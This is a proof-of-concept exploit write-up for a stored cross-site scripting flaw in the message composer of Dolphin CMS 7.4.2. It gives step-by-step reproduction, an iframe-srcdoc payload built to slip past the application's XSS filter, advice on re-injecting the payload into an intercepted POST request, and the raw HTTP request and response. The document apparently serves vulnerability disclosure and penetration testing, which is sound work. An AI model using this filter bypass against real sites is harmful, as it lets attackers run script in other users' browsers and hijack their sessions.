# Exploit Title: Stored XSS via Send Message Functionality - dolphin.prov7.4.2 # Date: 03/2025 # Exploit Author: Andrey Stoykov # Version: 7.4.2 # Date: 03/2025 # Tested on: Debian 12 # Blog: https://msecureltd.blogspot.com/2025/03/friday-fun-pentest-series-20-stored-xss.html Stored XSS via Send Message Functionality: Steps to Reproduce: 1. Login and visit "http://192.168.58.170/dolphinCMS/mail.php?mode=compose" 2. Add "Recipient" and "Subject" with random words 3. Add the below mentioned XSS payload that would bypass the XSS filter in the message section 4. Intercept the HTTP POST request and add the payload once again, as it might get filtered (make sure to URL encode the spaces etc) 5. It would trigger once the message has been seen <iframe srcdoc="<img src=x onerror=alert(document.domain)>"></iframe> // HTTP POST request POST /dolphinCMS/mail.php?ajax_mode=true&action=compose_mail&recipient_id=1 HTTP/1.1 Host: 192.168.58.170 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0 [...] subject=test&message=<iframe+srcdoc%3d"<img+src%3dx+onerror%3dalert(document.domain)>"></iframe> // HTTP response HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 17:41:52 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 455 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 <div class="MsgBox" id="1742578912167"> <table class="MsgBox bx-def-margin-top bx-def-margin-bottom"><tr><td> <div class="msgbox_content bx-def-font-large bx-def-padding-sec"> Message has been successfully sent. <a href=" http://192.168.58.170/dolphinCMS/mail.php?mode=compose">Send</a> another message or <a href="http://192.168.58.170/dolphinCMS/admin">view</a> admin's profile. </div> </td></tr></table> </div>